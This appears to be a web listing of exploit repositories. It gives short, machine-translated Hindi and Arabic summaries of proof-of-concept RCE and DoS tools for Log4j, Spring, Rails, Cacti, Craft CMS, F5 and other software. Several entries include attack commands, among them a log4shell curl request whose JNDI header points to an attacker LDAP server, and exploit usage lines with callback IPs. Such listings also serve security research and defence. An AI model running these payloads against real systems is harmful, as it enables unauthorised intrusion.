CVE-2022-31144

CVE-2022-31144 CVE-2022-31144 redis dos है. Rce अभी तक पूरा नहीं हुआ है...

CVE-2013-4710-WebView-RCE-Vulnerability

CVE-2013-4710-WebView-RCE-Vulnerability وصف الثغرة في كثير من الأحيان نستخدم WebView لعرض صفحة ويب، فعلى سبيل المثال تستخدم العديد من التطبيقات صفحات الويب لتحقيق التحكم من جانب الخادم، وتكون العديد من صفحات النتائج صفحات ويب بدلاً من التنفيذ المحلي، وهذا له مزايا عديدة، مثل عدم الحاجة إلى إصدار...

Convergent-Time-Theory-Enhanced-iOS-Safari-RCE-CVE-2025-43529-

अभिसरण-समय-सिद्धांत-वर्धित-iOS-Safari-RCE-CVE-2025-43529- CTT-वर्धित iOS Safari शोषण CVE-2025-43529 पर आधारित...

CVE-2015-3224

Ruby on Rails Web Console Exploit CVE-2015-3224 इस रिपॉजिटरी में एक Python स्क्रिप्ट है जो Ruby on Rails 4.0.x और 4.1.x के डेवलपर वेब कंसोल में IP व्हाइटलिस्ट बायपास भेद्यता का शोषण करती है। यह स्क्रिप्ट कमजोर सर्वरों पर दूरस्थ कोड निष्पादन की अनुमति देती है। ⚠️ अस्वीकरण यह स्क्रिप्ट केवल शैक्षिक...

log4shell_lab

log4shell शोषण प्रयोगशाला यह रिपॉजिटरी log4shell शोषण प्रयोगशाला के लिए एकल-पंक्ति सेटअप है। प्रयोगशाला सेटअप करें: docker-compose up -d शोषण चलाएँ: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" फिर vul कंटेनर पर जाएँ और देखें कि हमने वास्तव में मशीन को...

Exploitation-of-a-Remote-Code-Execution-vulnerability--CVE-2024-7954-

रिमोट कोड निष्पादन भेद्यता CVE-2024-7954 का शोषण सॉफ्टवेयर भेद्यता परीक्षण परियोजना प्रस्तुतकर्ता: शिवांश कुंतल अवलोकन यह परियोजना CVE-2024-7954 के शोषण का प्रदर्शन करती है, जो SPIP CMS को इसके porteplume प्लगइन के माध्यम से प्रभावित करने वाली एक गंभीर रिमोट कोड निष्पादन RCE भेद्यता है। यह भेद्यत...

CVE-2021-21974

CVE-2021-21974 CVE2021-21974 VMWare ESXi RCE Exploit के लिए POC...

react2shell-scanner-CVE-2025-55182

ماسح React2Shell للمؤسسات ماسح ثغرات عالي الدقة لـ CVE-2025-55182 وCVE-2025-66478 - ثغرات تنفيذ التعليمات البرمجية عن بُعد RCE في مكونات خادم React / Next.js. 📖 للتحليل التقني المفصل وآليات الاستغلال وبيانات مؤشرات الاختراق IOC، راجعSECURITY-RESEARCH.md ⚠️ إخلاء مسؤولية تُوفَّر هذه الأداة لأغراض...

CVE-2025-47256

CVE-2025-47256 تجاوز سعة المكدس في LibXMP الوصف توجد ثغرة أمنية لتجاوز سعة المخزن المؤقت المستند إلى المكدس في دالة depackpha في libxmp، وهي مكتبة لتشغيل الملفات الموسيقية النمطية module music. يتم تفعيل الثغرة عند تحليل ملفات وحدات Pha Packer PHA التالفة. يسمح الفحص غير السليم لحدود مخزن مؤقت مح...

CVE-2026-44963

CVE-2026-44963 — Veeam Backup & Replication RCE SentinelX द्वारा अनुसंधान भंडार — केवल अधिकृत सुरक्षा परीक्षण और रक्षात्मक उद्देश्यों के लिए। अवलोकन क्षेत्र| विवरण ---|--- CVE ID| CVE-2026-44963 विक्रेता| Veeam उत्पाद| Backup & Replication प्रभावित संस्करण| 12.3.2.4854 सभी v12 बिल्ड सुधारित...

SpringFramework_CVE-2022-22965_RCE

SpringFrameworkCVE-2022-22965RCE SpringFramework रिमोट कोड निष्पादन भेद्यता CVE-2022-22965 भेद्यता पुनरुत्पादन वातावरण root@kitploit: docker pull vulfocus/spring-core-rce-2022-03-29 docker run -d -p 8090:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29 वेबशेल लिखें नोट: सत्यापन परीक्...

CVE-2023-32571

🐞 CVE-2023-32571 - System.Linq.Dynamic.Core रिमोट कोड निष्पादन CVE-2023-32571 के लिए प्रूफ ऑफ कॉन्सेप्ट, जो System.Linq.Dynamic.Core 1.0.7.10 से 1.2.25 में एक रिमोट कोड निष्पादन भेद्यता है। यह भेद्यता हमलावरों को मनमाना कोड और कमांड निष्पादित करने की अनुमति देती है जब Where, Select, OrderBy सहित...

SpringCloudFunction-Research

SpringCloudFunction-Research CVE-2022-22963 अनुसंधान पर्यावरण vulfocus/spring-cloud-function-rce:latest कारण Request Header में spring.cloud.function.routing-expression पैरामीटर पार्सिंग समस्या, जिससे Payload इंजेक्शन हमला होता है। संदर्भ...

ez-iRZ

ez-iRZ CVE-2022-27226 के लिए शोषण iRZ मोबाइल राउटर में क्रॉस साइट रिक्वेस्ट फोर्जरी से रिमोट कोड निष्पादन क्रेडिट्स जॉन जैक्सन क्रिस मैक --- https://github.com/0xHalcyon स्टीफन शावेज़ --- https://github.com/redragonx/ रॉबर्ट विलिस विवरण iRZ मोबाइल राउटर में 2022-03-16 तक की CSRF समस्या एक खतरे वा...

CVE-2024-25641

Cacti CVE-2024-25641 प्रमाणित पैकेज अपलोड RCE प्रूफ ऑफ कॉन्सेप्ट PoC यह स्क्रिप्ट Cacti एक वेब-आधारित मॉनिटरिंग टूल में CVE-2024-25641 भेद्यता का शोषण करने के लिए एक प्रूफ ऑफ कॉन्सेप्ट PoC है। स्क्रिप्ट एप्लिकेशन के साथ प्रमाणीकरण, एक दुर्भावनापूर्ण पैकेज अपलोड करने, और रिवर्स शेल ट्रिगर करने की...

CVE-2024-56145-craftcms-rce

स्क्रिप्ट दोबारा चलाने से पहले करें fuser -k 6666/tcp उपयोग - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 कस्टम कमांड का उपयोग इस प्रकार किया जा सकता है python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i आपका आईपी या आपका VPS आईपी है ipconfig / ifconfig चलाकर उसका उपयोग करें।...

CVE-2021-3129

CVE-2021-3129 Laravel debug rce उपयोग विधि docker-compse up -d चलाएँ और वातावरण प्रारंभ करें पोर्ट 8888 पर जाएँ, फिर होम पेज पर generate key पर क्लिक करें और यह पुन: उत्पन्न हो जाएगा डॉकर वातावरण के बारे में कुछ बातें: .env.example को .env में कॉपी करने का उद्देश्य डिबग वातावरण को सक्षम करना है...

CVE-2015-3224

CVE-2015-3224 शोषण - Rails Web Console RCE CVE-2015-3224 के शोषण के लिए एक JavaScript कार्यान्वयन Node.js। यह उपकरण Ruby on Rails अनुप्रयोगों को लक्षित करता है जो web-console gem के कमजोर संस्करण चला रहे हैं, जो अप्रमाणित दूरस्थ कोड निष्पादन RCE की अनुमति देता है। कमजोरी के बारे में CVE-2015-3224...

f5_rce_poc

उपयोग root@kitploit: python3 f5rce.py -u 指定目标URL -f 批量检测文件 -c 执行命令 -s/--ssrf 通过ssrf获得token执行命令 प्रभाव नीचे दिखाया गया है: root@kitploit: python3 f5rce.py -u 127.0.0.1 --ssrf कमांड चलाने के बाद exit दर्ज करके बाहर निकलें PS: आउटपुट पर्याप्त सुंदर नहीं है, मैं इसे बदल दूंगा 😁 आगे अद्यतन: कुछ कमांड...

CVE-2023-0297

CVE-2023-0297 pyload 0.5.0b3.dev31 से पहले के संस्करणों में RCE। अस्वीकरण: यह स्क्रिप्ट किसी दूरस्थ प्रणाली तक अनधिकृत पहुँच या नियंत्रण की ओर ले जाती है; इसे केवल तभी उपयोग करें यदि आपके पास सिस्टम स्वामी से स्पष्ट अनुमति हो।...